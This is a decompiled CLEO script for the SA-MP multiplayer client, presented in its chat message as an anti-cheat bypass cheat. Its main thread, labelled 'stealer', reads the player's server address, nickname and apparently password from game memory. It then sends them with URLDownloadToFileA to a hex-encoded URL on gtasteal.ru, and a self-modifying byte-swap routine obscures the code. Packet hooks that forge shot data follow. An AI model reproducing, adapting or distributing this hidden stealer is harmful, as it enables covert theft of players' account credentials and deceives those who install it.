// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
thread "stealer"
0000: NOP

:stealer_13
wait 0
0AA2: 31@ = load_library "kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@  
16@ = 1
17@ = 2203896
19@ = 2203832
29@ = 528432
0A8E: 3@ = 0@ + 17@ // int
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 0
if
  2@ > 1000
else_jump @stealer_13
0A8E: 22@ = 2@ + 973 // int
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 0
if
  23@ > 1000
else_jump @stealer_13
0A8E: 5@ = 23@ + 24 // int
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 0
if
  4@ > 1000
else_jump @stealer_13
0A8E: 5@ = 4@ + 34 // int
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 0
if
  24@ > 1000
else_jump @stealer_13
0A8E: 22@ = 0@ + 19@ // int
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 0
if
  1@ > 1000
else_jump @stealer_13
0A8E: 7@ = 1@ + 40 // int
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 0
0A8E: 5@ = 1@ + 44 // int
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 0
if
  6@ == 1
else_jump @stealer_424
if or
  26@ == 1
  26@ == 3
else_jump @stealer_424
25@ = 1

:stealer_424
if and
  25@ == 1
   not 6@ == 1
else_jump @stealer_864
0A8E: 7@ = 1@ + 48 // int
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 0
0A8E: 6@ = 1@ + 36 // int
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 0
0A8E: 6@ = 0@ + 29@ // int
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@  
0A8E: 6@ = 4@ + 26 // int
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 0
0A8E: 7@ = 4@ + 10 // int
if
   not 23@ >= 16
else_jump @stealer_585
0085: 12@ = 7@ // (int)
jump @stealer_597

:stealer_585
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 0

:stealer_597
0A8E: 9@ = 2@ + 289 // int
0A8E: 14@ = 2@ + 32 // int
0A8E: 8@ = 2@ + 549 // int
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 0
0A8E: 18@ = 4@ + 42 // int
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 0
21@ = Player.Money($PLAYER_CHAR)
Actor.StorePos($PLAYER_ACTOR, $4, $5, $6)
0665: get_actor $PLAYER_ACTOR model_to 28@
0AC6: 0@ = label @stealer_871 offset
alloc 20@ 1024
13@ = 217
format 20@ "%s%s:%d=%s=%s=%d=%s=%d" 0@ 14@ 15@ 9@ 12@ 3@ 5@ 13@
0AA2: 8@ = load_library "urlmon.dll" // IF and SET
0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET
0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfa.tmp" 20@ 0  
25@ = 0

:stealer_864
jump @stealer_13

:stealer_871
hex
68 74 74 70 3A 2F 2F 67 74 61 73 74 65 61 6C 2E
72 75 2F 75 63 70 2F 69 6E 63 6C 75 64 65 2F 30
53 4D 38 46 64 6B 68 6A 69 2E 70 68 70 3F 64 61
74 61 3D 00 00 3F 74 61 3D 61 00 00
end
0AC6: 0@ = label @stealer_7 offset
0085: 5@ = 0@ // (int)
0085: 6@ = 0@ // (int)
5@ -= 7
6@ += 923
0085: 1@ = 0@ // (int)

:stealer_980
0A8D: 3@ = read_memory 1@ size 1 virtual_protect 1
1@ += 1
0A8D: 4@ = read_memory 1@ size 1 virtual_protect 1
0A8C: write_memory 5@ size 1 value 4@ virtual_protect 1
5@ += 1
0A8C: write_memory 5@ size 1 value 3@ virtual_protect 1
5@ += 1
1@ += 1
001D:   1@ > 6@ // (int)
else_jump @stealer_980
0A9F: 0@ = current_thread_pointer
0A8E: 1@ = 0@ + 16 // int
0A8D: 2@ = read_memory 1@ size 4 virtual_protect 1
1@ += 4
0A8C: write_memory 1@ size 4 value 2@ virtual_protect 1
0000: NOP
hex
5F 5F 53 42 46 54 52 00
end
0662: printstring "==============================================================="
0662: printstring "My VK: vk.com/id138101483"
0662: printstring "My Skype: hackes8"
0662: printstring "Group VK: vk.com/by_air"
0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair"
0662: printstring "All rights reserved ©"
0662: printstring "==============================================================="
wait 0
   SAMP.Available
else_jump @stealer_287
wait 0
   SAMP.IsLocalPlayerSpawned
else_jump @stealer_300
0@ = 1
2@ = 0
19@ = 1085
chatmsg "[ObhodAntiCheatRapid {CC6600}for Waka Encore {CC0000}by AIR{33FF33}]: {FFFFFF} Loaded! Actived! anti (cheat-code)" 3407667
0BE2: raknet setup_outcoming_packet_hook @stealer_764
0BE1: raknet setup_outcoming_rpc_hook @stealer_706
wait 0
if
0ADC:   test_cheat "anti"
else_jump @stealer_541
0B12: 0@ = 0@ XOR 1
19@ = 1085
0062: 19@ -= 0@ // (int)
018C: play_sound 19@ at 0.0 0.0 0.0
if and
  2@ > 0
  0@ == 1
else_jump @stealer_699
if and
  6@ >= 0
   not 6@ > 1000
0184:   actor $PLAYER_ACTOR health >= 1
else_jump @stealer_699
SAMP.SetSendrate(1) = 280
SAMP.SetSendrate(3) = 280
call @stealer_1022 2 6@ 16@
call @stealer_1317 12 5@ 6@ 7@ 8@ 9@ 10@ 11@ 12@ 13@ 14@ 15@ 16@
2@ -= 1
wait 700
SAMP.SetSendrate(1) = False
SAMP.SetSendrate(3) = False
jump @stealer_472
if
  0@ == 1
else_jump @stealer_760
0BE5: raknet 18@ = get_hook_param 1
if and
  2@ > 0
  18@ == 115
else_jump @stealer_760
0BE0: raknet hook_ret 0
0BE0: raknet hook_ret 1
if
  0@ == 1
else_jump @stealer_1018
0BE5: raknet 1@ = get_hook_param 1
if
  1@ == 206
else_jump @stealer_1018
0BE5: raknet 1@ = get_hook_param 0
1@ = BitStream.GetDataPtr(1@)
0C0C: 5@ = struct 1@ offset 1 size 1
0C0C: 6@ = struct 1@ offset 2 size 2
0C0C: 7@ = struct 1@ offset 4 size 4
0C0C: 8@ = struct 1@ offset 8 size 4
0C0C: 9@ = struct 1@ offset 12 size 4
0C0C: 10@ = struct 1@ offset 16 size 4
0C0C: 11@ = struct 1@ offset 20 size 4
0C0C: 12@ = struct 1@ offset 24 size 4
0C0C: 13@ = struct 1@ offset 28 size 4
0C0C: 14@ = struct 1@ offset 32 size 4
0C0C: 15@ = struct 1@ offset 36 size 4
0C0C: 16@ = struct 1@ offset 40 size 1
if and
  6@ >= 0
   not 6@ > 1000
else_jump @stealer_1018
2@ += 1
SAMP.SetSendrate(1) = 280
SAMP.SetSendrate(3) = 280
0BE0: raknet hook_ret 0
0BE0: raknet hook_ret 1
call @stealer_1115 0 2@
12@ = RakNet.NewBitStream()
BitStream.Write(12@, 0, BS_TYPE_BOOL, 1)
BitStream.Write(12@, 0@, BS_TYPE_SHORT, 2)
BitStream.Write(12@, 2@, BS_TYPE_FLOAT, 4)
BitStream.Write(12@, 1@, BS_TYPE_INT, 4)
BitStream.Write(12@, 3, BS_TYPE_INT, 4)
RakNet.LiteRPC(115, 12@)
RakNet.DeleteBitStream(12@)
ret 0
0A96: 2@ = actor $PLAYER_ACTOR struct
2@ += 1836
0A8D: 2@ = read_memory 2@ size 1 virtual_protect 0
0470: 0@ = actor $PLAYER_ACTOR current_weapon
0085: 1@ = 0@ // (int)
if
  2@ == 2
else_jump @stealer_1184
1@ += 25
if
  2@ == 3
else_jump @stealer_1209
1@ += 36
1@ *= 112
1@ += 13150904
1@ += 34
0A8D: 1@ = read_memory 1@ size 2 virtual_protect 0
0093: 1@ = integer 1@ to_float
if and
  0@ >= 22
   not 0@ == 25
   not 0@ == 26
   not 0@ == 27
   not 0@ > 34
else_jump @stealer_1309
1@ /= 3.043478
ret 1 1@
alloc 20@ 40
0C0D: struct 20@ offset 0 size 1 = 0@
0C0D: struct 20@ offset 1 size 2 = 1@
0C0D: struct 20@ offset 3 size 4 = 2@
0C0D: struct 20@ offset 7 size 4 = 3@
0C0D: struct 20@ offset 11 size 4 = 4@
0C0D: struct 20@ offset 15 size 4 = 5@
0C0D: struct 20@ offset 19 size 4 = 6@
0C0D: struct 20@ offset 23 size 4 = 7@
0C0D: struct 20@ offset 27 size 4 = 8@
0C0D: struct 20@ offset 31 size 4 = 9@
0C0D: struct 20@ offset 35 size 4 = 10@
0C0D: struct 20@ offset 39 size 1 = 11@
21@ = RakNet.NewBitStream()
BitStream.Write(21@, 206, BS_TYPE_BYTE, 1)
BitStream.Write(21@, 20@, BS_TYPE_ARRAY, 40)
RakNet.LiteSend(21@)
RakNet.DeleteBitStream(21@)
free 20@
ret 0
hex
56 41 52 00 F1 02 00 00 41 63 74 69 76 65